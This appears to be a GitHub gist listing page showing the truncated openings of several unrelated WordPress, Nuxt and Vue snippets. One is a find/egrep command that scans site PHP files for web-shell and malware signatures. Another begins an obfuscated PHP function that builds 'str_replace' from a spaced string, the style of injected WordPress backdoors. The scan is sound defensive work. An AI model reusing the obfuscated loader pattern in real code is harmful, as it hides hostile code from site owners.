This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type="text/javascript"> | |
let event = new Event('change'); | |
let inputBox = document.querySelector("#shipping_postcode"); | |
const descriptor = Object.getOwnPropertyDescriptor(Object.getPrototypeOf(inputBox), 'value'); | |
Object.defineProperty(inputBox, 'value', { | |
set: function(t) { | |
if(t === '') return; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$args = array( | |
//////Author Parameters - Show posts associated with certain author. | |
//http://codex.wordpress.org/Class_Reference/WP_Query#Author_Parameters | |
'author' => '1,2,3', //(int) - use author id [use minus (-) to exclude authors by ID ex. 'author' => '-1,-2,-3,'] | |
'author_name' => 'luetkemj', //(string) - use 'user_nicename' (NOT name) | |
'author__in' => array(2, 6), //(array) - use author id (available with Version 3.7). | |
'author__not_in' => array(2, 6), //(array)' - use author id (available with Version 3.7). |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Add this to nuxt.config.js | |
build: { | |
publicPath: '/zenith/', | |
analyze: false, | |
hotMiddleware : { | |
reload:false | |
}, | |
// watch: ['api', 'modules'], | |
extend(config, {isDev, isClient}) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
find ~/public_html -type f -iname "*.php" ! -iname "importbuddy.php" ! -iname "_repairbuddy.php" ! -iname "class-smtp.php" ! -iname "Excel5.php" ! -iname "OLERead.php"| xargs -i egrep -Hli '\@\$GLOBALS.*continue|GLOBALS.*x61|FbU73jxn|edE0lF|IGlmICgg|"1.sh"|GLOBALS.*ieetj84|rBOxlFeDa|rWmpisiBWQ|na20571|eval.*q272748|GET.*ineedthispage|x77.x69.x76|rWmyiJg3T|hacked\ by|eNqdWPtv|vd56b6998|filesman|Googleman|YYKJKaSZ.*\$_POST.*ppeRDsIfDuUi|5ebfbb39|c99shell|bar\/index|client.*x05.x01|POST.*do.*brut|img.*empty.*referrer|AtOPvMzpDq|5UpbRhpW|Qb08tTv2|ko0l|eval.stripslashes.array_pop\(\$_POST|www.*_POST.*yt.*ad.e|QGluaV9|doctoregpg|AnonGhost|AJVkA2M4om|an9dcW1i|PCT4BA6OD|aXNfdXBsb|zZ3HjuNg|E7DsuED2|DarkCrewFriends|zaprosname|HZBL02N|edoced|ZXZhbChiY|7X17f9rG' "{}" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let el = Vue.compile(`<MuiIcon icon="${icon}" />`); | |
el = new Vue({ | |
components: { | |
MuiIcon | |
}, | |
vuetify, | |
render: el.render, | |
staticRenderFns: el.staticRenderFns | |
}).$mount(); | |
return el.$el.outerHTML; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if (!function_exists('wp_en_one')) { | |
function glues_it($string) | |
{ | |
$glue_pre = sanitize_key('s t r _ r e p l a c e'); | |
$glueit_po = call_user_func_array($glue_pre, array("..", '', $string)); | |
return $glueit_po; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @param array $array | |
* | |
* @return array | false | |
*/ | |
function distinct( array $arr ) { | |
if ( is_array( $arr ) ) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const { resolve } = require('path'); | |
module.exports = function() { | |
this.extendRoutes(routes => { | |
routes.push({ | |
name: 'admin', | |
path: '/admin', | |
component: resolve('./pages/index.vue') | |
}) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Add this file to /middleware | |
export default function ({params, route, redirect}) { | |
if(route.matched.length === 0) { // route is not found, redirect to homepage | |
redirect('302', '/'); | |
} | |
} |
NewerOlder